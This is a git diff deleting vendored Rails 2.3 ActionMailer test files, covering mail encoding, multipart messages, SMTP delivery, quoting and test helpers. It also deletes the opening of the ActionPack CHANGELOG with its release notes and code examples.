-    assert_match(/\nSubject: =\?utf-8\?Q\?Foo_.*?\?=/, mail.encoded)
-  end
-
-  def test_implicitly_multipart_with_utf8
-    mail = TestMailer.create_implicitly_multipart_with_utf8
-    assert_match(/\nSubject: =\?utf-8\?Q\?Foo_.*?\?=/, mail.encoded)
-  end
-
-  def test_explicitly_multipart_messages
-    mail = TestMailer.create_explicitly_multipart_example(@recipient)
-    assert_equal 3, mail.parts.length
-    assert_nil mail.content_type
-    assert_equal "text/plain", mail.parts[0].content_type
-
-    assert_equal "text/html", mail.parts[1].content_type
-    assert_equal "iso-8859-1", mail.parts[1].sub_header("content-type", "charset")
-    assert_equal "inline", mail.parts[1].content_disposition
-
-    assert_equal "image/jpeg", mail.parts[2].content_type
-    assert_equal "attachment", mail.parts[2].content_disposition
-    assert_equal "foo.jpg", mail.parts[2].sub_header("content-disposition", "filename")
-    assert_equal "foo.jpg", mail.parts[2].sub_header("content-type", "name")
-    assert_nil mail.parts[2].sub_header("content-type", "charset")
-  end
-
-  def test_explicitly_multipart_with_content_type
-    mail = TestMailer.create_explicitly_multipart_example(@recipient, "multipart/alternative")
-    assert_equal 3, mail.parts.length
-    assert_equal "multipart/alternative", mail.content_type
-  end
-
-  def test_explicitly_multipart_with_invalid_content_type
-    mail = TestMailer.create_explicitly_multipart_example(@recipient, "text/xml")
-    assert_equal 3, mail.parts.length
-    assert_nil mail.content_type
-  end
-
-  def test_implicitly_multipart_messages
-    assert ActionView::Template.template_handler_extensions.include?("bak"), "bak extension was not registered"
-
-    mail = TestMailer.create_implicitly_multipart_example(@recipient)
-    assert_equal 3, mail.parts.length
-    assert_equal "1.0", mail.mime_version
-    assert_equal "multipart/alternative", mail.content_type
-    assert_equal "text/yaml", mail.parts[0].content_type
-    assert_equal "utf-8", mail.parts[0].sub_header("content-type", "charset")
-    assert_equal "text/plain", mail.parts[1].content_type
-    assert_equal "utf-8", mail.parts[1].sub_header("content-type", "charset")
-    assert_equal "text/html", mail.parts[2].content_type
-    assert_equal "utf-8", mail.parts[2].sub_header("content-type", "charset")
-  end
-
-  def test_implicitly_multipart_messages_with_custom_order
-    assert ActionView::Template.template_handler_extensions.include?("bak"), "bak extension was not registered"
-
-    mail = TestMailer.create_implicitly_multipart_example(@recipient, nil, ["text/yaml", "text/plain"])
-    assert_equal 3, mail.parts.length
-    assert_equal "text/html", mail.parts[0].content_type
-    assert_equal "text/plain", mail.parts[1].content_type
-    assert_equal "text/yaml", mail.parts[2].content_type
-  end
-
-  def test_implicitly_path_when_running_from_none_rails_root
-    exected_path = File.expand_path(File.join(File.dirname(__FILE__), "fixtures", "test_mailer"))
-    with_a_rails_root do
-      Dir.chdir "/" do
-        template_path = TestMailer.allocate.send(:template_path)
-        assert_equal exected_path, File.expand_path(template_path)
-      end
-    end
-  end
-
-
-  def test_implicitly_multipart_messages_run_from_another_location_with_a_rails_root
-    with_a_rails_root do
-      Dir.chdir "/" do
-        mail = TestMailer.create_implicitly_multipart_example(@recipient)
-        assert_equal 3, mail.parts.length
-      end
-    end
-  end
-
-  def test_implicitly_multipart_messages_with_charset
-    mail = TestMailer.create_implicitly_multipart_example(@recipient, 'iso-8859-1')
-
-    assert_equal "multipart/alternative", mail.header['content-type'].body
-
-    assert_equal 'iso-8859-1', mail.parts[0].sub_header("content-type", "charset")
-    assert_equal 'iso-8859-1', mail.parts[1].sub_header("content-type", "charset")
-    assert_equal 'iso-8859-1', mail.parts[2].sub_header("content-type", "charset")
-  end
-
-  def test_html_mail
-    mail = TestMailer.create_html_mail(@recipient)
-    assert_equal "text/html", mail.content_type
-  end
-
-  def test_html_mail_with_underscores
-    mail = TestMailer.create_html_mail_with_underscores(@recipient)
-    assert_equal %{<a href="http://google.com" target="_blank">_Google</a>}, mail.body
-  end
-
-  def test_various_newlines
-    mail = TestMailer.create_various_newlines(@recipient)
-    assert_equal("line #1\nline #2\nline #3\nline #4\n\n" +
-                 "line #5\n\nline#6\n\nline #7", mail.body)
-  end
-
-  def test_various_newlines_multipart
-    mail = TestMailer.create_various_newlines_multipart(@recipient)
-    assert_equal "line #1\nline #2\nline #3\nline #4\n\n", mail.parts[0].body
-    assert_equal "<p>line #1</p>\n<p>line #2</p>\n<p>line #3</p>\n<p>line #4</p>\n\n", mail.parts[1].body
-  end
-
-  def test_headers_removed_on_smtp_delivery
-    ActionMailer::Base.delivery_method = :smtp
-    TestMailer.deliver_cc_bcc(@recipient)
-    assert MockSMTP.deliveries[0][2].include?("root@loudthinking.com")
-    assert MockSMTP.deliveries[0][2].include?("nobody@loudthinking.com")
-    assert MockSMTP.deliveries[0][2].include?(@recipient)
-    assert_match %r{^Cc: nobody@loudthinking.com}, MockSMTP.deliveries[0][0]
-    assert_match %r{^To: #{@recipient}}, MockSMTP.deliveries[0][0]
-    assert_no_match %r{^Bcc: root@loudthinking.com}, MockSMTP.deliveries[0][0]
-  end
-
-  def test_recursive_multipart_processing
-    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email7")
-    mail = TMail::Mail.parse(fixture)
-    assert_equal "This is the first part.\n\nAttachment: test.rb\nAttachment: test.pdf\n\n\nAttachment: smime.p7s\n", mail.body
-  end
-
-  def test_decode_encoded_attachment_filename
-    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email8")
-    mail = TMail::Mail.parse(fixture)
-    attachment = mail.attachments.last
-
-    expected = "01 Quien Te Dij\212at. Pitbull.mp3"
-    expected.force_encoding(Encoding::ASCII_8BIT) if expected.respond_to?(:force_encoding)
-
-    assert_equal expected, attachment.original_filename
-  end
-
-  def test_wrong_mail_header
-    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email9")
-    assert_raise(TMail::SyntaxError) { TMail::Mail.parse(fixture) }
-  end
-
-  def test_decode_message_with_unknown_charset
-    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email10")
-    mail = TMail::Mail.parse(fixture)
-    assert_nothing_raised { mail.body }
-  end
-
-  def test_empty_header_values_omitted
-    result = TestMailer.create_unnamed_attachment(@recipient).encoded
-    assert_match %r{Content-Type: application/octet-stream[^;]}, result
-    assert_match %r{Content-Disposition: attachment[^;]}, result
-  end
-
-  def test_headers_with_nonalpha_chars
-    mail = TestMailer.create_headers_with_nonalpha_chars(@recipient)
-    assert !mail.from_addrs.empty?
-    assert !mail.cc_addrs.empty?
-    assert !mail.bcc_addrs.empty?
-    assert_match(/:/, mail.from_addrs.to_s)
-    assert_match(/:/, mail.cc_addrs.to_s)
-    assert_match(/:/, mail.bcc_addrs.to_s)
-  end
-
-  def test_deliver_with_mail_object
-    mail = TestMailer.create_headers_with_nonalpha_chars(@recipient)
-    assert_nothing_raised { TestMailer.deliver(mail) }
-    assert_equal 1, TestMailer.deliveries.length
-  end
-
-  def test_multipart_with_template_path_with_dots
-    mail = FunkyPathMailer.create_multipart_with_template_path_with_dots(@recipient)
-    assert_equal 2, mail.parts.length
-    assert_equal 'text/plain', mail.parts[0].content_type
-    assert_equal 'utf-8', mail.parts[0].charset
-  end
-
-  def test_custom_content_type_attributes
-    mail = TestMailer.create_custom_content_type_attributes
-    assert_match %r{format=flowed}, mail['content-type'].to_s
-    assert_match %r{charset=utf-8}, mail['content-type'].to_s
-  end
-
-  def test_return_path_with_create
-    mail = TestMailer.create_return_path
-    assert_equal "<another@somewhere.test>", mail['return-path'].to_s
-  end
-
-  def test_return_path_with_deliver
-    ActionMailer::Base.delivery_method = :smtp
-    TestMailer.deliver_return_path
-    assert_match %r{^Return-Path: <another@somewhere.test>}, MockSMTP.deliveries[0][0]
-    assert_equal "another@somewhere.test", MockSMTP.deliveries[0][1].to_s
-  end
-
-  def test_body_is_stored_as_an_ivar
-    mail = TestMailer.create_body_ivar(@recipient)
-    assert_equal "body: foo\nbar: baz", mail.body
-  end
-
-  def test_starttls_is_enabled_if_supported
-    ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true
-    MockSMTP.any_instance.expects(:respond_to?).with(:enable_starttls_auto).returns(true)
-    MockSMTP.any_instance.expects(:enable_starttls_auto)
-    ActionMailer::Base.delivery_method = :smtp
-    TestMailer.deliver_signed_up(@recipient)
-  end
-
-  def test_starttls_is_disabled_if_not_supported
-    ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true
-    MockSMTP.any_instance.expects(:respond_to?).with(:enable_starttls_auto).returns(false)
-    MockSMTP.any_instance.expects(:enable_starttls_auto).never
-    ActionMailer::Base.delivery_method = :smtp
-    TestMailer.deliver_signed_up(@recipient)
-  end
-
-  def test_starttls_is_not_enabled
-    ActionMailer::Base.smtp_settings[:enable_starttls_auto] = false
-    MockSMTP.any_instance.expects(:respond_to?).never
-    MockSMTP.any_instance.expects(:enable_starttls_auto).never
-    ActionMailer::Base.delivery_method = :smtp
-    TestMailer.deliver_signed_up(@recipient)
-  ensure
-    ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true
-  end
-
-private
-  def with_a_rails_root
-    old_root = ::RAILS_ROOT if defined? ::RAILS_ROOT
-    Object.const_set(:RAILS_ROOT, File.join(File.dirname(__FILE__)))
-    yield
-  ensure
-    Object.send(:remove_const, :RAILS_ROOT) if defined? ::RAILS_ROOT
-    Object.const_set(:RAILS_ROOT, old_root) if old_root
-  end
-end
-
-class InheritableTemplateRootTest < Test::Unit::TestCase
-  def test_attr
-    expected = "#{File.dirname(__FILE__)}/fixtures/path.with.dots"
-    assert_equal expected, FunkyPathMailer.template_root.to_s
-
-    sub = Class.new(FunkyPathMailer)
-    sub.template_root = 'test/path'
-
-    assert_equal 'test/path', sub.template_root.to_s
-    assert_equal expected, FunkyPathMailer.template_root.to_s
-  end
-end
-
-class MethodNamingTest < Test::Unit::TestCase
-  class TestMailer < ActionMailer::Base
-    def send
-      body 'foo'
-    end
-  end
-
-  def setup
-    set_delivery_method :test
-    ActionMailer::Base.perform_deliveries = true
-    ActionMailer::Base.deliveries = []
-  end
-
-  def teardown
-    restore_delivery_method
-  end
-
-  def test_send_method
-    assert_nothing_raised do
-      assert_emails 1 do
-        TestMailer.deliver_send
-      end
-    end
-  end
-end
-
-class RespondToTest < Test::Unit::TestCase
-  class RespondToMailer < ActionMailer::Base; end
-
-  def setup
-    set_delivery_method :test
-  end
-
-  def teardown
-    restore_delivery_method
-  end
-
-  def test_should_respond_to_new
-    assert RespondToMailer.respond_to?(:new)
-  end
-
-  def test_should_respond_to_create_with_template_suffix
-    assert RespondToMailer.respond_to?(:create_any_old_template)
-  end
-
-  def test_should_respond_to_deliver_with_template_suffix
-    assert RespondToMailer.respond_to?(:deliver_any_old_template)
-  end
-
-  def test_should_not_respond_to_new_with_template_suffix
-    assert !RespondToMailer.respond_to?(:new_any_old_template)
-  end
-
-  def test_should_not_respond_to_create_with_template_suffix_unless_it_is_separated_by_an_underscore
-    assert !RespondToMailer.respond_to?(:createany_old_template)
-  end
-
-  def test_should_not_respond_to_deliver_with_template_suffix_unless_it_is_separated_by_an_underscore
-    assert !RespondToMailer.respond_to?(:deliverany_old_template)
-  end
-
-  def test_should_not_respond_to_create_with_template_suffix_if_it_begins_with_a_uppercase_letter
-    assert !RespondToMailer.respond_to?(:create_Any_old_template)
-  end
-
-  def test_should_not_respond_to_deliver_with_template_suffix_if_it_begins_with_a_uppercase_letter
-    assert !RespondToMailer.respond_to?(:deliver_Any_old_template)
-  end
-
-  def test_should_not_respond_to_create_with_template_suffix_if_it_begins_with_a_digit
-    assert !RespondToMailer.respond_to?(:create_1_template)
-  end
-
-  def test_should_not_respond_to_deliver_with_template_suffix_if_it_begins_with_a_digit
-    assert !RespondToMailer.respond_to?(:deliver_1_template)
-  end
-
-  def test_should_not_respond_to_method_where_deliver_is_not_a_suffix
-    assert !RespondToMailer.respond_to?(:foo_deliver_template)
-  end
-
-  def test_should_still_raise_exception_with_expected_message_when_calling_an_undefined_method
-    error = assert_raise NoMethodError do
-      RespondToMailer.not_a_method
-    end
-
-    assert_match /undefined method.*not_a_method/, error.message
-  end
-end
diff --git a/vendor/rails/actionmailer/test/quoting_test.rb b/vendor/rails/actionmailer/test/quoting_test.rb
deleted file mode 100644
index b08f9279..00000000
--- a/vendor/rails/actionmailer/test/quoting_test.rb
+++ /dev/null
@@ -1,105 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-require 'tempfile'
-
-class QuotingTest < Test::Unit::TestCase
-  # Move some tests from TMAIL here
-  def test_unquote_quoted_printable
-    a ="=?ISO-8859-1?Q?[166417]_Bekr=E6ftelse_fra_Rejsefeber?="
-    b = TMail::Unquoter.unquote_and_convert_to(a, 'utf-8')
-    assert_equal "[166417] Bekr\303\246ftelse fra Rejsefeber", b
-  end
-
-  def test_unquote_base64
-    a ="=?ISO-8859-1?B?WzE2NjQxN10gQmVrcuZmdGVsc2UgZnJhIFJlanNlZmViZXI=?="
-    b = TMail::Unquoter.unquote_and_convert_to(a, 'utf-8')
-    assert_equal "[166417] Bekr\303\246ftelse fra Rejsefeber", b
-  end
-
-  def test_unquote_without_charset
-    a ="[166417]_Bekr=E6ftelse_fra_Rejsefeber"
-    b = TMail::Unquoter.unquote_and_convert_to(a, 'utf-8')
-    assert_equal "[166417]_Bekr=E6ftelse_fra_Rejsefeber", b
-  end
-
-  def test_unqoute_multiple
-    quoted ="=?utf-8?q?Re=3A_=5B12=5D_=23137=3A_Inkonsistente_verwendung_von_=22Hin?==?utf-8?b?enVmw7xnZW4i?="
-    actual = TMail::Unquoter.unquote_and_convert_to(quoted, 'utf-8')
-
-    expected = "Re: [12] #137: Inkonsistente verwendung von \"Hinzuf\303\274gen\""
-    expected.force_encoding 'ASCII-8BIT' if expected.respond_to?(:force_encoding)
-
-    assert_equal expected, actual
-  end
-
-  def test_unqoute_in_the_middle
-    a ="Re: Photos =?ISO-8859-1?Q?Brosch=FCre_Rand?="
-    b = TMail::Unquoter.unquote_and_convert_to(a, 'utf-8')
-    assert_equal "Re: Photos Brosch\303\274re Rand", b
-  end
-
-  def test_unqoute_iso
-    a ="=?ISO-8859-1?Q?Brosch=FCre_Rand?="
-    b = TMail::Unquoter.unquote_and_convert_to(a, 'iso-8859-1')
-    expected = "Brosch\374re Rand"
-    expected.force_encoding 'iso-8859-1' if expected.respond_to?(:force_encoding)
-    assert_equal expected, b
-  end
-
-  def test_quote_multibyte_chars
-    original = "\303\246 \303\270 and \303\245"
-    original.force_encoding('ASCII-8BIT') if original.respond_to?(:force_encoding)
-
-    result = execute_in_sandbox(<<-CODE)
-      $:.unshift(File.dirname(__FILE__) + "/../lib/")
-      if RUBY_VERSION < '1.9'
-        $KCODE = 'u'
-        require 'jcode'
-      end
-      require 'action_mailer/quoting'
-      include ActionMailer::Quoting
-      quoted_printable(#{original.inspect}, "UTF-8")
-    CODE
-
-    unquoted = TMail::Unquoter.unquote_and_convert_to(result, nil)
-    assert_equal unquoted, original
-  end
-
-
-  # test an email that has been created using \r\n newlines, instead of
-  # \n newlines.
-  def test_email_quoted_with_0d0a
-    mail = TMail::Mail.parse(IO.read("#{File.dirname(__FILE__)}/fixtures/raw_email_quoted_with_0d0a"))
-    assert_match %r{Elapsed time}, mail.body
-  end
-
-  def test_email_with_partially_quoted_subject
-    mail = TMail::Mail.parse(IO.read("#{File.dirname(__FILE__)}/fixtures/raw_email_with_partially_quoted_subject"))
-    expected = "Re: Test: \"\346\274\242\345\255\227\" mid \"\346\274\242\345\255\227\" tail"
-    expected.force_encoding('ASCII-8BIT') if expected.respond_to?(:force_encoding)
-    assert_equal expected, mail.subject
-  end
-
-  private
-    # This whole thing *could* be much simpler, but I don't think Tempfile,
-    # popen and others exist on all platforms (like Windows).
-    def execute_in_sandbox(code)
-      test_name = "#{File.dirname(__FILE__)}/am-quoting-test.#{$$}.rb"
-      res_name = "#{File.dirname(__FILE__)}/am-quoting-test.#{$$}.out"
-
-      File.open(test_name, "w+") do |file|
-        file.write(<<-CODE)
-          block = Proc.new do
-            #{code}
-          end
-          puts block.call
-        CODE
-      end
-
-      system("ruby #{test_name} > #{res_name}") or raise "could not run test in sandbox"
-      File.read(res_name).chomp
-    ensure
-      File.delete(test_name) rescue nil
-      File.delete(res_name) rescue nil
-    end
-end
diff --git a/vendor/rails/actionmailer/test/test_helper_test.rb b/vendor/rails/actionmailer/test/test_helper_test.rb
deleted file mode 100644
index 65b07a71..00000000
--- a/vendor/rails/actionmailer/test/test_helper_test.rb
+++ /dev/null
@@ -1,129 +0,0 @@
-require 'abstract_unit'
-
-class TestHelperMailer < ActionMailer::Base
-  def test
-    recipients "test@example.com"
-    from       "tester@example.com"
-    body       render(:inline => "Hello, <%= @world %>", :body => { :world => "Earth" })
-  end
-end
-
-class TestHelperMailerTest < ActionMailer::TestCase
-  def test_setup_sets_right_action_mailer_options
-    assert_equal :test, ActionMailer::Base.delivery_method
-    assert ActionMailer::Base.perform_deliveries
-    assert_equal [], ActionMailer::Base.deliveries
-  end
-
-  def test_setup_creates_the_expected_mailer
-    assert @expected.is_a?(TMail::Mail)
-    assert_equal "1.0", @expected.mime_version
-    assert_equal "text/plain", @expected.content_type
-  end
-
-  def test_mailer_class_is_correctly_inferred
-    assert_equal TestHelperMailer, self.class.mailer_class
-  end
-
-  def test_determine_default_mailer_raises_correct_error
-    assert_raise(ActionMailer::NonInferrableMailerError) do
-      self.class.determine_default_mailer("NotAMailerTest")
-    end
-  end
-  
-  def test_charset_is_utf_8
-    assert_equal "utf-8", charset
-  end
-
-  def test_encode
-    assert_equal "=?utf-8?Q?=0Aasdf=0A?=", encode("\nasdf\n")
-  end
-
-  def test_assert_emails
-    assert_nothing_raised do
-      assert_emails 1 do
-        TestHelperMailer.deliver_test
-      end
-    end
-  end
-  
-  def test_repeated_assert_emails_calls
-    assert_nothing_raised do
-      assert_emails 1 do
-        TestHelperMailer.deliver_test
-      end
-    end
-    
-    assert_nothing_raised do
-      assert_emails 2 do
-        TestHelperMailer.deliver_test
-        TestHelperMailer.deliver_test
-      end
-    end
-  end
-  
-  def test_assert_emails_with_no_block
-    assert_nothing_raised do
-      TestHelperMailer.deliver_test
-      assert_emails 1
-    end
-    
-    assert_nothing_raised do
-      TestHelperMailer.deliver_test
-      TestHelperMailer.deliver_test
-      assert_emails 3
-    end
-  end
-  
-  def test_assert_no_emails
-    assert_nothing_raised do
-      assert_no_emails do
-        TestHelperMailer.create_test
-      end
-    end
-  end
-  
-  def test_assert_emails_too_few_sent
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_emails 2 do
-        TestHelperMailer.deliver_test
-      end
-    end
-    
-    assert_match /2 .* but 1/, error.message
-  end
-  
-  def test_assert_emails_too_many_sent
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_emails 1 do
-        TestHelperMailer.deliver_test
-        TestHelperMailer.deliver_test
-      end
-    end
-    
-    assert_match /1 .* but 2/, error.message
-  end
-  
-  def test_assert_no_emails_failure
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_no_emails do
-        TestHelperMailer.deliver_test
-      end
-    end
-    
-    assert_match /0 .* but 1/, error.message
-  end
-end
-
-class AnotherTestHelperMailerTest < ActionMailer::TestCase
-  tests TestHelperMailer
-
-  def setup
-    @test_var = "a value"
-  end
-
-  def test_setup_shouldnt_conflict_with_mailer_setup
-    assert @expected.is_a?(TMail::Mail)
-    assert_equal 'a value', @test_var
-  end
-end
diff --git a/vendor/rails/actionmailer/test/tmail_test.rb b/vendor/rails/actionmailer/test/tmail_test.rb
deleted file mode 100644
index 718990e7..00000000
--- a/vendor/rails/actionmailer/test/tmail_test.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-require 'abstract_unit'
-
-class TMailMailTest < Test::Unit::TestCase
-  def test_body
-    m = TMail::Mail.new
-    expected = 'something_with_underscores'
-    m.encoding = 'quoted-printable'
-    quoted_body = [expected].pack('*M')
-    m.body = quoted_body
-    assert_equal "something_with_underscores=\n", m.quoted_body
-    assert_equal expected, m.body
-  end
-
-  def test_nested_attachments_are_recognized_correctly
-    fixture = File.read("#{File.dirname(__FILE__)}/fixtures/raw_email_with_nested_attachment")
-    mail = TMail::Mail.parse(fixture)
-    assert_equal 2, mail.attachments.length
-    assert_equal "image/png", mail.attachments.first.content_type
-    assert_equal 1902, mail.attachments.first.length
-    assert_equal "application/pkcs7-signature", mail.attachments.last.content_type
-  end
-end
diff --git a/vendor/rails/actionmailer/test/url_test.rb b/vendor/rails/actionmailer/test/url_test.rb
deleted file mode 100644
index 71286bd1..00000000
--- a/vendor/rails/actionmailer/test/url_test.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-require 'abstract_unit'
-
-class TestMailer < ActionMailer::Base
-  
-  default_url_options[:host] = 'www.basecamphq.com'
-  
-  def signed_up_with_url(recipient)
-    @recipients   = recipient
-    @subject      = "[Signed up] Welcome #{recipient}"
-    @from         = "system@loudthinking.com"
-    @sent_on      = Time.local(2004, 12, 12)
-
-    @body["recipient"]   = recipient
-    @body["welcome_url"] = url_for :host => "example.com", :controller => "welcome", :action => "greeting"
-  end
-
-  class <<self
-    attr_accessor :received_body
-  end
-
-  def receive(mail)
-    self.class.received_body = mail.body
-  end
-end
-
-class ActionMailerUrlTest < Test::Unit::TestCase
-  include ActionMailer::Quoting
-
-  def encode( text, charset="utf-8" )
-    quoted_printable( text, charset )
-  end
-
-  def new_mail( charset="utf-8" )
-    mail = TMail::Mail.new
-    mail.mime_version = "1.0"
-    if charset
-      mail.set_content_type "text", "plain", { "charset" => charset }
-    end
-    mail
-  end
-
-  def setup
-    set_delivery_method :test
-    ActionMailer::Base.perform_deliveries = true
-    ActionMailer::Base.deliveries = []
-
-    @recipient = 'test@localhost'
-  end
-
-  def teardown
-    restore_delivery_method
-  end
-
-  def test_signed_up_with_url
-    ActionController::Routing::Routes.draw do |map| 
-      map.connect ':controller/:action/:id' 
-      map.welcome 'welcome', :controller=>"foo", :action=>"bar"
-    end
-
-    expected = new_mail
-    expected.to      = @recipient
-    expected.subject = "[Signed up] Welcome #{@recipient}"
-    expected.body    = "Hello there, \n\nMr. #{@recipient}. Please see our greeting at http://example.com/welcome/greeting http://www.basecamphq.com/welcome\n\n<img alt=\"Somelogo\" src=\"/images/somelogo.png\" />"
-    expected.from    = "system@loudthinking.com"
-    expected.date    = Time.local(2004, 12, 12)
-
-    created = nil
-    assert_nothing_raised { created = TestMailer.create_signed_up_with_url(@recipient) }
-    assert_not_nil created
-    assert_equal expected.encoded, created.encoded
-
-    assert_nothing_raised { TestMailer.deliver_signed_up_with_url(@recipient) }
-    assert_not_nil ActionMailer::Base.deliveries.first
-    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
-  end
-end
diff --git a/vendor/rails/actionpack/CHANGELOG b/vendor/rails/actionpack/CHANGELOG
deleted file mode 100644
index 3270c72f..00000000
--- a/vendor/rails/actionpack/CHANGELOG
+++ /dev/null
@@ -1,5250 +0,0 @@
-*2.3.11 (February 9, 2011)*
-
-* Two security fixes. CVE-2011-0446, CVE-2011-0447
-
-*2.3.10 (October 15, 2010)*
-
-*2.3.9 (September 4, 2010)*
-
-* Version bump.
-
-
-*2.3.8 (May 24, 2010)*
-
-* HTML safety: fix compatibility *without* the optional rails_xss plugin.
-
-
-*2.3.7 (May 24, 2010)*
-
-* HTML safety: fix compatibility with the optional rails_xss plugin.  [Nathan Weizenbaum, Santiago Pastorino]
-
-
-*2.3.6 (May 23, 2010)*
-
-* JSON: set Base.include_root_in_json = true to include a root value in the JSON: {"post": {"title": ...}}. Mirrors the Active Record option.  #2584 [Matthew Moore, Joe Martinez, Elad Meidar, Santiago Pastorino]
-
-* Ruby 1.9: ERB template encoding using a magic comment at the top of the file.  [Jeremy Kemper]
-    <%# encoding: utf-8 %>
-
-* Fixed that default locale templates should be used if the current locale template is missing [DHH]
-
-* Fixed that PrototypeHelper#update_page should return html_safe [DHH]
-
-* Fixed that much of DateHelper wouldn't return html_safe? strings [DHH]
-
-* Fixed that fragment caching should return a cache hit as html_safe (or it would all just get escaped) [DHH]
-
-* Introduce String#html_safe for rails_xss plugin and forward-compatibility with Rails 3.  [Michael Koziarski, Santiago Pastorino, José Ignacio Costa]
-
-* Added :alert, :notice, and :flash as options to ActionController::Base#redirect_to that'll automatically set the proper flash before the redirection [DHH]. Examples:
-
-    flash[:notice] = 'Post was created'
-    redirect_to(@post)
-  
-  ...becomes:
-  
-    redirect_to(@post, :notice => 'Post was created')
-
-* Added ActionController::Base#notice/= and ActionController::Base#alert/= as a convenience accessors in both the controller and the view for flash[:notice]/= and flash[:alert]/= [DHH]
-
-* Added cookies.permanent, cookies.signed, and cookies.permanent.signed accessor for common cookie actions [DHH]. Examples:
-
-    cookies.permanent[:prefers_open_id] = true
-    # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
-
-    cookies.signed[:discount] = 45
-    # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
-
-    cookies.signed[:discount]
-    # => 45 (if the cookie was changed, you'll get a InvalidSignature exception)
-
-    cookies.permanent.signed[:remember_me] = current_user.id
-    # => Set-Cookie: discount=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
-    
-  ...to use the signed cookies, you need to set a secret to ActionController::Base.cookie_verifier_secret (automatically done in config/initializers/cookie_verification_secret.rb for new Rails applications).
-
-
-*2.3.5 (November 25, 2009)*
-
-* Minor Bug Fixes and deprecation warnings
-
-* Ruby 1.9 Support
-
-* Fix filtering parameters when there are Fixnum or other un-dupable values.
-
-* Improvements to ActionView::TestCase
-
-* Compatiblity with the rails_xss plugin 
-
-*2.3.4 (September 4, 2009)*
-
-* Sanitize multibyte strings before escaping them with escape_once. CVE-2009-3009
-
-* Introduce grouped_collection_select helper.  #1249 [Dan Codeape, Erik Ostrom]
-
-* Ruby 1.9: fix Content-Length for multibyte send_data streaming.  #2661 [Sava Chankov]
-
-
-*2.3.3 (July 12, 2009)*
-
-* Fixed that TestResponse.cookies was returning cookies unescaped #1867 [Doug McInnes]
-
-
-*2.3.2 [Final] (March 15, 2009)*
-
-* Fixed that redirection would just log the options, not the final url (which lead to "Redirected to #<Post:0x23150b8>") [DHH]
-
-* Don't check authenticity tokens for any AJAX requests [Ross Kaffenberger/Bryan Helmkamp]
-
-* Added ability to pass in :public => true to fresh_when, stale?, and expires_in to make the request proxy cachable #2095 [Gregg Pollack]
-
-* Fixed that passing a custom form builder would be forwarded to nested fields_for calls #2023 [Eloy Duran/Nate Wiger]
-
-* Form option helpers now support disabled option tags and the use of lambdas for selecting/disabling option tags from collections #837 [Tekin]
-
-* Added partial scoping to TranslationHelper#translate, so if you call translate(".foo") from the people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo") [DHH]
-
-* Fix a syntax error in current_page?() that was prevent matches against URL's with multiple query parameters #1385, #1868 [chris finne/Andrew White]
-
-* Added localized rescue template when I18n.locale is set (ex: public/404.da.html) #1835 [José Valim]
-
-* Make the form_for and fields_for helpers support the new Active Record nested update options.  #1202 [Eloy Duran]
-
-		<% form_for @person do |person_form| %>
-		  ...
-		  <% person_form.fields_for :projects do |project_fields| %>
-		    <% if project_fields.object.active? %>
-		      Name: <%= project_fields.text_field :name %>
-		    <% end %>
-		  <% end %>
-		<% end %>
-
-
-* Added grouped_options_for_select helper method for wrapping option tags in optgroups. #977 [Jon Crawford]
-
-* Implement HTTP Digest authentication. #1230 [Gregg Kellogg, Pratik Naik] Example :
-
-  class DummyDigestController < ActionController::Base
-    USERS = { "lifo" => 'world' }
-
-    before_filter :authenticate
-
-    def index
-      render :text => "Hello Secret"
-    end
-
-    private
-
-    def authenticate
-      authenticate_or_request_with_http_digest("Super Secret") do |username|
-        # Return the user's password
-        USERS[username]
-      end
-    end
-  end
-
-* Improved i18n support for the number_to_human_size helper. Changes the storage_units translation data; update your translations accordingly.  #1634 [Yaroslav Markin]
-    storage_units:
-      # %u is the storage unit, %n is the number (default: 2 MB)
-      format: "%n %u"
-      units:
-        byte:
-          one: "Byte"
-          other: "Bytes"
-        kb: "KB"
-        mb: "MB"
-        gb: "GB"
-        tb: "TB"
-
-* Added :silence option to BenchmarkHelper#benchmark and turned log_level into a hash parameter and deprecated the old use [DHH]
-
-* Fixed the AssetTagHelper cache to use the computed asset host as part of the cache key instead of just assuming the its a string #1299 [DHH]
-
-* Make ActionController#render(string) work as a shortcut for render :file/:template/:action => string. [#1435] [Pratik Naik] Examples:
-
-  # Instead of render(:action => 'other_action')
-  render('other_action') # argument has no '/'
-  render(:other_action)
-
-  # Instead of render(:template => 'controller/action')
-  render('controller/action') # argument must not begin with a '/', but contain a '/'
-
-  # Instead of render(:file => '/Users/lifo/home.html.erb')
-  render('/Users/lifo/home.html.erb') # argument must begin with a '/'
-
-* Add :prompt option to date/time select helpers. #561 [Sam Oliver]
-
-* Fixed that send_file shouldn't set an etag #1578 [Hongli Lai]
-
-* Allow users to opt out of the spoofing checks in Request#remote_ip.  Useful for sites whose traffic regularly triggers false positives. [Darren Boyd]
-
-* Deprecated formatted_polymorphic_url.  [Jeremy Kemper]
-
-* Added the option to declare an asset_host as an object that responds to call (see http://github.com/dhh/asset-hosting-with-minimum-ssl for an example) [David Heinemeier Hansson]
-
-* Added support for multiple routes.rb files (useful for plugin engines). This also means that draw will no longer clear the route set, you have to do that by hand (shouldn't make a difference to you unless you're doing some funky stuff) [David Heinemeier Hansson]
-
-* Dropped formatted_* routes in favor of just passing in :format as an option. This cuts resource routes generation in half #1359 [aaronbatalion]
-
-* Remove support for old double-encoded cookies from the cookie store.  These values haven't been generated since before 2.1.0, and any users who have visited the app in the intervening 6 months will have had their cookie upgraded. [Michael Koziarski]
-
